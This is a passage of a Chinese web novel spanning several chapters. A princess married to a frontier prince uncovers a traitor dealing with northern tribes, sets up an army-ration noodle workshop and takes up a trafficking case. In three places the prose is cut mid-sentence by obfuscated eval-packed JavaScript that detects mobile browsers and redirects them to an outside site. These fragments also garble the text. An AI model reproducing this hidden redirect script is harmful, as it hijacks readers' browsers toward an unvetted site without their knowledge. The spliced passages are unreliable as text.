执刑人将投降者放下了刑架,他踉跄跪地,被层层血染到乌黑的长鞭挑起下巴,望进一双野兽般无情的眼眸之中。 “能不能活下去,端看你说的消息够不够买命了。” 投降者恐惧地咽了咽口水,回答此前刑讯的提问:“除了我们和乌赫族,达里亚族和歧连部也参与了计划。” “……我亲眼看见一个大雍人走进了首领的营帐,之后不久,首领便叫了我们过去,计划集结分散的北夷兵力,诱杀定北王世子……” 百里浔舟眼眸一眯:“大雍人?可记得是什么模样?” 投降者浑身颤抖,努力回想,却只道:“他将自己裹得严严实实,丝毫未露,只依稀记得身形似有七尺,是个男人。” 这消息跟没有没什么两样,大雍七尺男儿郎遍地皆是。 百里浔舟摆摆手,让人将他带下去上药。随即,他将目光投向刑房一角与此处格格不入的漆黑纱屏处。 纱屏后传来封眠的声音:“将人带进来吧。” 漆黑纱屏隔绝了血色,矮几上燃的熏香祛了空气中铁锈般的血腥味,却阻不住哀嚎声。 雾柳已是脸色煞白,她想着流萤胆子小,便自己跟着郡主来了,没想到眼下的场景比狼骨岭那夜的战场还要可怖几分。世子刑讯起来活像从人变成了恶鬼一般。 封眠脸色亦是惨白,但声音听着却仍镇静。 她此刻心神还放在最后那名哲兀尔人的口供之上。 大雍有人和北夷勾结,那么承平二十一年的百里浔舟,究竟是被幕后之人策反,还是被两方联手逼反的呢? 不管是哪种情况,只要在那之前看紧了百里浔舟不和可疑人员接触,再将这个叛国通敌之人揪出来,有□□成的可能可以避免定北军谋乱。 心下有了更明确的主意,封眠觉得安定了不少,敛回神思,隔着纱屏看向被鸾仪卫押进来的三个造谣挑事的头子。 三个战战兢兢的人一进门便被血腥味扑了一脸,待看清面前血次呼啦的场景,和刑架上两个已然断绝生机的人时,十分有默契地嗷一嗓子就跪了,争先恐后地告罪求饶。 最左一身粗布衣衫的中年男人哭天抢地:“郡主饶命,世子饶命!小的当真只是收钱办事,别的一概不知啊!” 中间的青年一身细布衣裳,瞧着像家中有些余钱的商户子,脖颈上有一道已经结痂的细长伤口,他吓得涕泗横流,赌咒发誓道:“小人对天发誓,是有人拿一家老小的性命威胁小人,小人不敢不从啊!否则给我三百个胆子,我也不敢散播与郡主有关的谣言呐!” 最右是个穿金戴银、大腹便便的商人,他不住点头附和着身旁年轻人的说辞,声泪俱下地忏悔:“草民日后再也不去花楼了呜呜呜……” 混在人群中喊话挑拨百姓们抢喜轿的是收钱办事那个,剩下两个自述被流匪闯入家中要挟的,是在花楼中传消息的。 百里浔舟查看了一眼青年脖颈处被流匪留下的伤痕,伤口细窄,边缘平整,像是狼骨岭一带流匪所用的一种短刃。狼骨岭的流匪为何要散布与郡主有关的消息? 抓来的人口中再审不出新的东西,只留下了一层又一层的迷雾。 封眠与百里浔舟并肩踏出地牢,外面的日光落在身上时,封眠眼前亦是一黑。她眨了眨眼,意识到是身旁的百里浔舟抬手遮住了她的眼睛。 “从黑暗里出来乍一见光,容易伤眼。”百里浔舟这般解释道,郡主生了双琉璃般清透漂亮的眼,若是晒伤了就可惜了。 封眠心底微微一暖,笑道:“多谢世子殿下。” “方才地牢里火把颇多,倒也没有那么黑。也要多谢世子体谅我与雾柳。” 封眠想着,往日地牢里应比今日要暗上许多,毕竟越阴森可怖的环境,越容易击溃犯人的心理防线。世子应是因为她非要跟来,怕吓到她,才临时点了这许多的火把。 遮在眼前的手掌似是不好意思地蜷了蜷指尖,片刻后放下了。 明亮的街景映入封眠眼中,与方才地牢刑室中的景象对比,恍如隔世。身旁百里浔舟告了个辞要走,封眠忙抓住了他的衣袖。 “等等,我还有事要与你说。我们寻个地方用膳吧。” 忙碌近一日,还未吃过东西的百里浔舟就这么被封眠拽去了路边的酒楼。 直到在雅间落座,菜品上齐,他还在纳闷,自己方才怎么被她那么一拽,便听话地乖乖跟着走了? 封眠没察觉到百里浔舟的走神,方才见多了血腥,她此刻胃口不佳,只动了两口青菜便停了筷,酝酿着语言,将自己在狼骨岭被流匪袭击一事说了出来。 “我救下的那个女孩是你?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087452|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百里浔舟惊讶极了,乌黑的瞳孔缓慢落到封眠的脸上。 封眠点了点头,略有些赧然地道:“当时我听见你那番不顾百姓性命的言论,对你颇有些误会,才按下了此事没有说。幸而后来在云中郡巧遇了那名被挟持的富商,这才解了误会。” “我也要多谢世子殿下救了我一命。” 封眠说着起身对百里浔舟一礼,被百里浔舟忙不迭扶住了,“这本就是我的职责,当不得一个谢字。倒是郡主为了救人才身陷险境,我……” “我当时还以为郡主娇弱,更误会郡主性情高傲,才不愿见我……实在惭愧。” 想起当时心中对封眠的偏见不满,百里浔舟羞惭地红了耳根。他当真没有料到,生长于盛京的贵女,竟有如此仁心与胆魄。 百里浔舟越想越愧,当即像要与人结拜那般双手托起茶盏,字句掷地有声:“我暂且以茶代酒,在此向郡主赔罪了!” “哎……”封眠动作慢了些,只能无力地抬着手,目瞪口呆地看着百里浔舟豪爽地干了三杯茶,一时想笑又只能忍住,微微侧过首去不让百里浔舟看见自己抽动的唇角。 盛京中人对世子殿下的误解当真也是太多了,封眠想道,或许世子殿下在战场上当真杀人不眨眼,御下时用兵如神,威严凛然,对待看不过眼的人更是桀骜不逊。 但有些时候,他分明纯挚直白得像……像五皇兄养得那只黑毛狼犬,龇牙时凶得吓人,但处熟了之后,又温驯可爱得紧。 见封眠不说话,还侧过脸去,百里浔舟有些紧张了,她这么生气吗? “不然……我让小二上些酒来?”只喝茶好似真的有些没诚意。 封眠抿了抿唇角,托腮看向他,眼睫微微垂着,看似有些伤心的模样,“世子是不是很讨厌盛京的人?” “……”百里浔舟张了张唇,终究是说不出违心之言,“是,遇到郡主之前,我一直认为盛京权贵尽是些“何不食肉糜”的膏粱之辈,锦衣玉食,朱门酒肉,不辨人间饥寒。” “北疆的将士们多年征战,力守国门,可朝廷的军粮辎重总是一缓二拖,我父亲堂堂定北王,亦要为了三两军需与朝廷周旋扯皮。” “每逢冬日,旱涝,街头巷尾总有冻绥而亡的百姓。请求赈灾的折子发了四五道,却只听闻盛京某户贵人家中又设了何种新奇有趣的宴席,所费之靡,足够北疆百户人家的嚼用。” “有时我……” 百里浔舟顿了顿,仍是低缓道:“有时我甚至不知,陛下心中是否还记得北疆的将士与百姓,是否还信任着父亲与我。” 久立风雪中的人,如何能不对身处温柔乡中肆意享乐的人生出偏见与怨恼呢? 尤其少年人的心气总是比天高,看不过眼之事更如江之鲫。 “他若不记得你们,怀疑你们,便不会将我嫁过来了。”封眠坚定道。 虽然嫁她是因为命格之说,但舅舅本就有意将皇室女嫁入北疆。或许此举有着“和亲”一般稳定北疆的意味,但从他最初属意的人选是最宠爱的柔妃的女儿这一点来看,他亦有通过这一桩婚事来告诸天下,他对北疆的重视,对定北王的信任,而非监视和警告。 以褚景涟的脑子,她能做什么探子该做的事? 34. 第 34 章 暮色如墨,无声地晕染天际。长街上次第亮起灯笼,将行人的身影拖得长长地映在青灰瓦墙之上。 一道挺拔如竹的身影后,缀着一个垂头丧气的捂着肚子的身影。 山衣颇有些幽怨地瞪着身前世子的背影,揉着饿扁了的肚子忿忿不敢言。按他的计划,这时候他应该已经坐在王府里大吃大喝了,但今日世子也不知怎么了,偏要走路回府,还走得慢吞吞的。 这要何时才能回府吃上晚膳啊! 百里浔舟在看街上的百姓。 各色商铺的店招旗帜在渐浓的夜色里软垂,几户人家的炊烟袅袅腾起,孩童的欢闹声与长街的喧嚣交织在一起,满满的市井烟火气。 自今日与封眠分开后,他一直在想她说的话,此刻看到百姓的和乐,看到坠着“封”字牌的铺子在风中摇曳,进出的百姓脸上都挂着心满意足的笑,便觉得她说得应当不错。 起码,她的到来让北疆变得更好了一些,或许他亦应该多信任她一些。 “世子哥哥?” 一道轻唤声传来,百里浔舟抬眼,看见了元寄雪。他不知不觉间,已经走到了王府附近。 暮色已深,元寄雪孤零零站在元府门外,烛火映在她身上亦显得清冷冷的。此刻她钗环凌乱,显得有些狼狈,看起来像是刚经历过一场争吵。 百里浔舟眉心一蹙,向元府内望了一眼,“是谁又为难你?” “没事,与父亲拌了几句嘴而已。我出来透透气,一会儿便回去了。”元寄雪笑着摆了摆手,她一双美目在百里浔舟身上打了个圈,关切道:“昨日你一回来便赶着大婚,我还未来得及问你,此行可有受伤?我替你瞧瞧?” 百里浔舟忽地翘了翘唇角,道:“不用,郡主替我上过药了。” 只是上个药而已,他这么高兴做什么? 元寄雪心下打了个突,又见他似乎并未注意到自己没有出席他的婚礼,不由有些失落,兀自继续说着:“那便好。若非昨日偶染风寒,我定是要亲自去王府恭贺世子哥哥和郡主的。” 百里浔舟这次倒是听出了她话中的重点,当即道:“夜风寒凉。你既染了风寒,就别在这风口处站着了。” 元寄雪还没来得及因这一句关切而高兴,就听他接着又道:“我瞧郡主夜里吹了风,回去便要喝上一碗汤药,你也预防一些为好。” 不过说了三句话,两句话都不离郡主,元寄雪只觉一颗心比这夜风还凉,恹恹不乐地回了元府。 她想到父亲方才给自己提的几桩亲事,心下更是绝望。不能再这样不痛不痒地暗示,等着百里浔舟意识到她的心意了,她需要想一些见效更快,更直白的法子…… * 踏入藏弓院时,百里浔舟看见屋内通明灯火,愣了一下才想起自己刚刚和郡主拜了堂成了亲,她已从雪月居搬了过来。 百里浔舟自幼被定北王带着在军营中生活,十分独立,身边不喜太多人伺候,是以往日回王府时,院中总是空荡荡的,只有一名守院的侍从点着一盏孤灯照亮。 头回在自己院中瞧见如此温馨热闹的画面,百里浔舟感到有些陌生,既有一直以来习惯了的生活空间被旁人入侵的别扭感,又莫名有一点不易察觉的期待与欢喜。 他大踏步迈进屋内,灯下正将信用火漆封缄的封眠听见动静扭过头来,双眼微弯,露出一个浅笑,“世子回来了?可用过晚膳了?” 往日他回王府时,母亲若是未歇下,也会这般问他,但不知为何,同样的字句从封眠口中说出来,莫名让他有些羞赧和紧张。 百里浔舟还未吭声,山衣自他身后可怜巴巴地探出头来,“回世子妃的话,何止未用晚膳,我们这一路走着回来的,腿都要走细了……” 话音未落便收到百里浔舟一记眼刀,委屈兮兮地缩了回去。 封眠笑道:“厨下留了饭菜的。流萤,去安排一下。” 流萤应了一声便出去了,山衣亦步亦趋地跟上,“流萤妹妹,我与你同去!” 百里浔舟走向前,看着封眠将手中的几封信交到雾柳手中,毫不避讳地让她着人快马加鞭送进宫中。 “给陛下的家书?” 封眠点了点头,“开汤饼作坊一事要跟舅舅说上一声,我想这即食汤饼日后能让大雍的将士们都能吃到是最好的。” “还有,北夷的事我也写在信中了。”封眠坦诚地看向百里浔舟,“虽然王爷定然会在奏折中提及,但大雍内部有人叛国一事出自他口中,与出自我的口中,在朝中那些人看来,想必还是有所不同的。” “我还想了一个法子,若是能成,说不定可以阻止部分北夷部族的联合。但这个法子可能有些危险,还是等舅舅同意了,我再与你说吧。” “你还有什么想知道的吗?” 百里浔舟实则只是没话找话随口一问,完全没料到封眠竟将自己在信中写了什么都逐一道来了,甚至还怕自己没听够一般,问他还想听什么。 他一时哑然失笑,道:“郡主其实不必与我交代得这般清楚。” “君子以诚待我,我必报之以信。我有事不瞒着你,亦希望日后世子有事也莫要瞒着,如此等价交换,对你我都好。” 封眠心中自有小九九,她可还要盯着百里浔舟的一举一动呢,若想不惹他厌烦,自己自然要更为主动坦诚一些。 百里浔舟听明白了,“郡主想知道什么?” “那可太多啦。”封眠登时来了精神,“先前烧粮草一事的线索就这么断了吗?会不会也和北夷这次对你和王爷设伏有关?北疆有没有通敌的可疑人选?你心中有怀疑的人吗?” 一堆问题直直砸进百里浔舟的脑袋上,偏偏还都是他此刻回答不出来的,恰巧此时流萤带人端了饭菜回来,百里浔舟忙挪步到桌前。 “好饿,我先吃饭。” 封眠便干脆托腮看着他吃,眼睛追着他的动作瞧,直将人盯得食不知味,乖乖交代道:“这些还在查,只能说我也怀疑这些事件彼此之间有所关联。但如有可能,我不愿怀疑北疆任何一个人。” “若以疑心揣度每一个人,恐怕北疆内部很快便要生乱了。说不定反而着了他们的道。” “世子殿下所言极是,还是世子殿下聪慧,体察入微,识人心计。”封眠深以为意地点头,将百里浔舟夸得微微红了耳朵。 她没再追问,反正她是会看着他,帮他揪出可疑之人的。 * 京城,明心殿。 “时辰可够了?” “够了够了,郡主信上不是说了,只需默数一百八十个数即可。快,快将盖碗揭开瞧瞧!” 兵部侍郎严焕之火急火燎地催促着小太监动手。 他今日不当值,但陛下特意遣人来传他入宫,说是有个新鲜吃食要给他看一看。他心中还颇为纳闷,他是兵部侍郎,又不是户部的,什么新鲜吃食还要特意找他过来? 直到入了明心殿,见了那几块躺在漆盒中的干汤饼,听闻此物久贮不腐,沸水冲泡即食,肉蔬皆齐,鲜香美味,当即就想通了其中关窍。 若是此物能用在军中!那大雍将士们的日常饮食将得到大大的改善! 因此他现下简直对此物抱足了期待! 盖碗一掀,热雾裹着麦香腾起,各色酱料的香味直冲鼻腔。 小太监迅速动手将泡软了的热乎乎的汤饼分别盛入几个小碗中,呈给嘉裕帝并在场的几位大人。 严焕之顾不得烫,囫囵吞了一口,顿时惊喜地瞪大了眼,“这滋味甚美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092374|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊!姚大人,顾大人,你们快尝尝!” 他说着又迫不及待地尝了口热汤,幸福得眼睛都眯了起来。 户部侍郎姚峰狐疑地看他一眼,夹起一筷子汤饼吹了吹,才谨慎地放入口中,皆着便是一讶:“这汤饼竟如此有嚼劲?比之汤饼店中现做的,别有风味。” 新科状元顾春温在户部领了员外郎一职,深得嘉裕帝和户部侍郎的器重,此番也被召入了宫中,他细细将汤饼、汤汁、泡开的肉粒和蔬菜一一尝过,眼底亦是掩不住的惊喜。 “这是郡主着人研制出来的?可是有用作军需之意?” 嘉裕帝颇为骄傲地颔首,“正是。清平说,她见北疆将士们吃糠咽菜,心中不忍,便想着尽己所能,为他们做些实事。” “只是这汤饼所费不赀……” 听嘉裕帝说了制这汤饼的开销,姚峰的眉心皱得都解不开了:“如此花销,莫说供大雍全境将士,便是只供北疆将士食用,亦是揭不开锅的……” “这么显而易见的问题,何须你们在此提?清平早便想到了。”嘉裕帝眉眼间的得意几乎溢出来了,“她已在北疆开设了汤饼作坊,准备以利养需,大大地降低了军需成本。景淇那小子最近也在云中郡,他对这作坊感兴趣得很,跟着清平入了股。” “如今云中郡的作坊已运转起来了,景淇也去周边几座城镇考察过,准备以云中郡为圆心,将作坊扩散出去。只要诸位爱卿觉得可行,朕也决定拨些银两分股,将这即食汤饼,正式纳入军需!” 严焕之噗通就跪了,嗓音发颤:“若真能如此,我军士卒每旬能增五次荤汤热食!” 他重重叩首,“微臣在此,代大雍将士谢过陛下,谢过郡主!” 姚峰和顾春温亦跟着跪下,姚峰道:“户部定当全力相助!” “好了,都起来吧。”嘉裕帝笑着命几人起身,将军需一事细细安排下去,接着轻咳了两声,才又肃容道,“清平信中还提及一事,北夷三十六部恐有重新合作的迹象,我大雍内部,有人私通外敌。” 此话一出,殿内气氛为之一肃,严焕之惊道:“微臣若没记错,定北王前两日的奏折中,似乎也启奏了此事?” 嘉裕帝轻哼一声:“还有人给朕上折子,参定北王危言耸听,掩耳盗铃。当真是安逸日子过久了,脑子都过坏了!” 气得他又重重咳了两声,深呼吸平复过后,才又接着道:“此事,清平提了个主意。她自觉见识不深,所以特来问问朕的意见。” “她想在北疆重开互市,先与北夷安分的几个部族交易,再逐步扩大。待北夷各部都因此怀疑对方与我大雍联合,他们私底下的盟约,便也不稳了。” “朕想听听你们的意见。” 严焕之与姚峰为官多年,闻言虽有心动,却谨慎互视一眼,不敢妄言。 顾春温却十分果断道:“微臣以为郡主的提议可以一试。” “北夷之所以喜好劫掠我国边境,皆因自身物资匮乏,若能开互市,互惠互利,不必通过抢杀便能换取物资,他们心中生了求安稳之意,战意定会削弱。” 嘉裕帝颇为赞赏地点头,“只是清平到底是个年纪轻轻的女儿家,不通政事。若要在北疆开互市,需得有人相助。朕想要派个人带旨前去,从旁辅佐,众卿觉得派谁去合适?” 郡主能想出互市的主意,既有胆魄又有智慧,岂会做不好事? 顾春温心中这般想着,唇角不自觉便抿起了笑意。 “陛下。”他撩袍跪下,绯色官服在地上铺开,“臣愿请命北上,协郡主共开互市。” 他声音沉稳,指尖却难得紧张地袖中揪住了一角布料。 原以为此生不会再有机会与郡主相见了,没想到机会竟来得这般快。 35. 第 35 章 灯影微斜,嘉裕帝仍坐在矮桌前翻看着封眠寄来的信。 “父皇,该吃药歇下了。”褚景泽将一碗乌黑的汤药递到嘉裕帝手边,嘉裕帝瞥了一眼便皱眉挪开视线。 褚景泽好笑道:“父皇怎么还不如小满儿,她喝药时可是连眉头都不皱一下的。” 提到封眠,嘉裕帝的脸上总算露出了些笑意,“她那是怕喝了药哭鼻子,朕笑话她呢。” 说着,他幽幽叹了口气,“她信上说自己万事都好,朕总是不信的。也不知她到底是否真的习惯了北疆的气候,会不会又瘦了?” “父皇如此惦记小满儿,应知她心中定然也如此惦念父皇。只要您保重好身体,她才能安心。否则儿臣可要写信告诉她,您将自己累病了还不肯吃药。” “行了行了,一碗药而已,朕吃了就是了,你少去与她胡说。”嘉裕帝皱着眉端起药碗,一脸视死如归地将药喝尽了。 褚景泽摇摇头,叹道:“儿臣倒想与她胡说呢。您可知道,她给太子妃都写了信,偏只字未给儿臣。当真是人走远了,心中愈发没有我这个兄长了。” “郡主怎么竟还给您写信了呢?” 东宫内,太子妃寝殿,榴月有些好奇地看着正在读信的世子妃。自打收到这信,太子妃都看了半天了,她终于没忍住问了出口:“您除了送过郡主一份添妆,几乎没什么来往,郡主莫不是有事相求。” 狄兰看信时,嘴角的笑意一直未消过,闻言目光也未离开信件,道:“你呀,这是将人往坏处想了。郡主想来是因我送过去的礼物,猜我会喜欢北疆风物,所以特意给我寄了些画来……” “太子殿下到——” 狄兰忙搁下手中的信,起身行礼,“臣妾见过太子殿下。” “免礼。”褚景泽进来后便看向被狄兰搁下的信,笑道。“又在看清平寄来的信?” “郡主这封信可不是普通的信。”狄兰是当真喜欢封眠的信,当下便喋喋不休地夸了起来,“郡主信中附了许多副小画,皆是她去往北疆一路上所见之景。” “臣妾幼时最大的愿望便是能踏遍大雍,去见各种不同的风景。可惜的是长到这般大了,连京城周边都未曾出过。没想到郡主竟能知臣妾所想,命画师沿途作了这些风物小画寄来,也算一慰臣妾的心意了。” 狄兰说着将小画拿给褚景泽看,褚景泽翻看一番,忽地笑了,从中挑出几幅来,“这几幅可不是画师的作品,是清平亲手所画。” 狄兰讶异:“这竟是郡主画的?难怪我瞧着这几幅的笔触似是有所不同,还当是不同的画师所作。” “清平这手画技,还是孤亲自教的,自不会认错。”褚景泽看画时眼中含笑,转眸看向太子妃时,笑意仍然未褪,“她愿为你花心思,说明你与她投缘,甚好。” “日后无事,你可多多与她写信。她独自在北疆,想必也没几个能说知心话的人。在父皇那儿,即便那位百里世子让她受了委屈,她怕是也不会说。” “你与她皆是女子,又是姑嫂,还要多关心开解她,若百里浔舟欺负她,你定要告知于孤。” “太子殿下待清平郡主可真好。今日在咱们宫中待的时辰,比往日都要多,日后您可以多多与太子殿下聊起清平郡主呀。” 送走太子后,榴月又开始兴奋地出主意,如今东宫姬妾少,可是个拢住太子心的好时机呢。 狄兰郑重地点头:“太子殿下说得不错,我得多与清平妹妹通信才是。若她有何苦楚,也不致没人倾诉!” 榴月:太子妃的重点好像又岔开了,罢了罢了,总归结果是一样的,与清平郡主多通信,太子殿下定也来得勤! * 云中郡,被众人惦念着的封眠正跟着蹦蹦跳跳的槐花进了汤饼作坊。 作坊中的女工们皆是封眠带着槐花去挑的,毕竟日后要与槐花一同工作,总要是能与她合得来的。 槐花也没有辜负封眠的期望,短短几天就将作坊有条不紊地运转起来了,为此,她没少和封眠手下其他店铺的掌柜们取经。 “我听糕点铺的师傅们说,有时将秘方教给了徒弟,难免就会有徒弟带着秘方跑路的风险,所以便将即食汤饼的工序做了切割,每人只负责其中一部分,分开工作,现下每日的产量都上来了呢!” 槐花与封眠初见她时已大为不同,腰杆挺得更直,眼睛更明亮了,整个人由内而外地散发着一种蓬勃的生命力。 与母亲一起远离了吴买办后,她每一天都活得充满了希望。 “做得很不错。”封眠丝毫不吝啬自己的夸奖,“日后小侯爷那边的作坊若是办起来了,定要派人来向你请教的。” 槐花兴奋又紧张地挺了挺胸膛,“我定不给郡主丢脸!” “你只要做到自己满意就好了。”封眠也不想给她太大的压力,“别怕犯错,你已经做得很好了。” 槐花重重地点头,心想郡主可真温柔啊,还很信任她,因为这份信任,她才有机会站在这里,负责这么大的一桩生意。以后她定要像郡主一样,温柔地包容其他人,信任她们,帮助她们将事情越做越好! “郡主饶命!” 槐花不过走了一会儿神,一名女工捧着一托盘用来包装即食汤饼的油纸包直直撞到了封眠身上,纸包撒了满地,女工惶恐不安地跪地求饶。 “哎呀,走路的时候小心些。”流萤嘴快地嗔了一句,扶着封眠左右瞧瞧她可有受伤。 “没事,快起来吧。你可伤到哪里没有?” 封眠打眼一瞧,撞到自己身上的女工似乎跟槐花差不多年岁,衣裳头发都打理得十分整洁,但皮肤蜡黄,瘦瘦小小的,显然以前过的日子十分清苦。 女工抬头看了一眼封眠,过瘦的脸上一双眼睛格外的大,见封眠确实是一脸真切关心地望着她,她眼底忽然多了一抹坚定,当即叩首嚷道:“求郡主救命,民女是被拐卖至此的!” “这到底是怎么回事?” 商会的议事厅内,折夫人一脸厉色地怒视着面前的牙婆。 牙婆满头冒汗,看着兀自坐在封眠身边抹泪的女工蔡小田,急得拍大腿,“民妇当真不知这是怎么一回事呀!她、她这手续都是齐全的呀!” “说是家中欠债,才以人相抵,卖身契签了十年。民妇是切切实实查过手续的,否则怎么敢送过来给郡主挑呢!” 封眠:“你当真不知情?” “郡主明鉴,民妇做了半辈子牙婆,就靠这行当混口饭吃,岂会做这种砸饭碗的事!”牙婆急得口中发苦,埋怨地看向蔡小田,“你说你这丫头,买你的时候你咋不说呢?否则我肯定不能成交啊!” 蔡小田红着眼不住落泪,憋了数日的委屈终于可以倾泻,呜咽着道:“我害怕,他们打起人来不要命的,之前有人试图求救、逃跑,都被抓回来打了个半死……” “若能被买下,我兴许还能有其他的活路。可若当场拆穿了他们,我便只有死路一条了!” 封眠安抚地拍拍蔡小田的后背,“好了,没事了。你可还记得那些人的长相?” “记得。”蔡小田哽咽着点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098106|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼底迸发出恐惧和恨意,“我永远不会忘记那几个人的脸!” “他们有很多同伙,但我只见过其中三个人。被他们绑着的时候,他们会把我们的眼睛都蒙上了。” “三个人也够了。晚些我让画师去见你,你将那三人的容貌描述给他。有了画像,将他们一网打尽,便只是时间问题。” “他们、他们……”蔡小田鼓足了勇气,才说道,“他们背后似是有靠山……应该是个大官。” “我也有靠山,我背后的靠山可是圣上。什么官儿再大,还能大得过圣上吗?”封眠望着蔡小田的眼睛,给她一个坚定的眼神。 蔡小田忽然羞惭地垂下头,“对不起。今日我是故意撞上郡主的,见您是真的和善,才敢说……” “你很聪明,也很勇敢。”封眠宽慰地摸了摸她的头,“你且放心,我定会将这伙人抓住,将他们拐走的孩子,都送回家中。” 郡主的话给蔡小田吃下了一颗定心丸,她终于绽开一个笑容,安心地点了点头。 折夫人望向封眠的目光中满是赞赏,跟着道:“郡主若有需要的地方,我定鼎力相助。” 封眠回了一个感谢的笑,吩咐道:“今日之事,还请在做诸位不要外传,以免打草惊蛇。” 折夫人点头,冷峻的眼风扫过堂中的牙婆和自己身边的侍女,:“自然。若是谁干走漏了风声,不必郡主出手,我第一个不饶了他。” 侍女恭谨行礼,牙婆抖着身子称是。 离开商会时,封眠的心情仍是郁郁。 云中郡是北疆最大的城镇,有定北王镇守,治下还有人胆敢公然行拐卖之事,而且还有为官之人做靠山,那云中郡之外,又有多少稚童被迫与家人离散? 她不但要抓,还要杀鸡儆猴,让恶人再不敢行拐卖之事! 要做的事太多,还需得一件一件来。 封眠上了马车,备好纸笔,写了张字条,唤来一个侍卫,吩咐道:“送去疾羽营给世子。” 疾羽营的急递铺往日只给士卒们送过家书,今日还是破天荒头一次给世子殿下送字条。 连百里浔舟本人都有些懵,往日便是他行军在外,也没收到过一个字的家书,“谁送来的?” “是郡主殿下身边的侍从。” 郡主?莫不是有什么急事? 百里浔舟匆匆展开字条,却见上面简单几行字写着—— 今日去看了即食汤饼作坊,一切都好。 因一些事,见了折夫人一面,现在不便说,日后再与你详谈。 午间准备去瓦舍尝尝小食。 你呢? 末尾还画了个线条简单可爱的小姑娘,脑袋上顶着一个问号。 “她这是……何意?” 姚知远探头过来一瞧,下结论:“打探你的行踪。想知道你见了哪些人,做了什么,接下来还要去做什么。” “属下的建议是,不要理,有被摸清底细的风险。” 百里浔舟转过身去不给他看了。 郡主说不定只是有些无聊和好奇,何必说得这般严重。 收到百里浔舟回的字条时,封眠还有些惊讶。她本以为他不会理会,还得坐上几回冷板凳呢。 不过这回复的字条也十分简介,只写了两个字——练兵。 没见什么特别的人就好。 她还做不到往军营里安插自己的人手,只能用这种朴实无华的笨法子试着套套百里浔舟的行踪。以免他在自己不知道的地方,忽然就走上了梦中那条死路…… 36. 第 36 章 疾羽营的守卫觉得清平郡主,或许现在应该称之为世子妃,最近来疾羽营来得格外勤。 有时午间来一趟,有时晚间来一趟,有时午间和晚间都会来。 世子妃待世子殿下可真是上心,可世子殿下怎么成婚没几日就开始夜夜宿在军营中了?难道还是没放下和离的念头? 看来世子殿下在感情上也和追击北夷戎敌是一样的目标坚定,可怜郡主这般身份尊贵的美人竟然也会真心错付…… 真是可怜可叹。 守卫第五次注视着封眠踏入军营,面上是一如既往的严肃,心下却是八卦活跃,只恨正在当值,不能与同僚畅聊。 “又来了?这次是送点心,送果子,还是送茶汤?” 这几日百里浔舟都没有回王府,他从新婚之夜起,坚持了两日与封眠同榻而眠,看似睡了,实则一直半眯半醒着,听着耳边属于另一个人的清浅呼吸声,心口总是浮浮躁躁得,睡不安稳,也别扭得紧。 他想着郡主也没像邀他牵手那般,要他日日回府住,那还是在营中住下舒坦一些。也免得他自己总是往府里跑,让郡主误会些什么。 可没成想他主动地想撇清关系,郡主倒是日日都来军营报道了。 “她到底是什么意思?”百里浔舟这十九年的人生里,还从没被哪个女子这般日日追到军营中来“献殷勤”,脑袋里那根经年不动的弦儿此刻终于被轻轻拨动了一下。 他轻轻蹙起眉心,扭头看向下首的姚知远,不甚确定地问道:“她莫不是当真对我动心了?” 这话说来还有些难为情,他仿佛屁股底下坐了个刺猬般不安分地挪动了几下,目光却是一错不错地盯着姚知远,也不知是期待着听到认同的话,还是期待着听到反驳的话。 姚知远手上正拿着一块昨日郡主送来的精致茶糕慢慢享用。 昨日郡主送来的小小食匣里只摆了四块碧绿色的茶糕,他计划好了每日一块,如今面前的食匣里已只剩下一块了。 当真是计划赶不上变化。 他在心里颇为可惜地想到,面上不咸不淡地看了一眼百里浔舟,一心二用地回答他方才的问题:“有吗?世子有的,属下也有啊。” 姚知远晃了晃手中只剩一半的茶糕,笃定道:“世子想多了。依属下之见,郡主此举,便与此前的商铺折扣和即食汤饼一般,用一点好处收买人心罢了。” “世子如今毕竟是郡主的夫君了,北疆又是定北王的地盘,郡主总不能与世子交恶吧?” 他试图委婉些表达“你想错了,郡主不喜欢你”的意思,但话出来实则还是直白极了,听到人耳朵里不甚舒服。 百里浔舟扑棱扑棱耳朵,心下哼了一声:依你之见,你眼里除了吃食,能看见什么? 郡主送来的东西样样都有你一份,还不是沾了本世子的光? 百里浔舟没将心里想的话说出口,只是面无表情地瞪着姚知远,硬邦邦咬字道:“既是收买人心之物,那你别吃了。” 姚知远立即如仓鼠一般迅速将最后一口点心咽入腹中,然后喝了口茶顺了一瞬,才慢条斯理道:“属下已经被收买了。” 百里浔舟:? 随即他就见姚知远不紧不慢地起身,理了理袍袖,转向门口的方向挺胸抬头,面上挂起了如沐春风的笑意,在渐变雨过天青色裙头卖过门槛的瞬间,抬手行礼,恭谨地像变了个人一般,“见过郡主。” 百里浔舟:…… 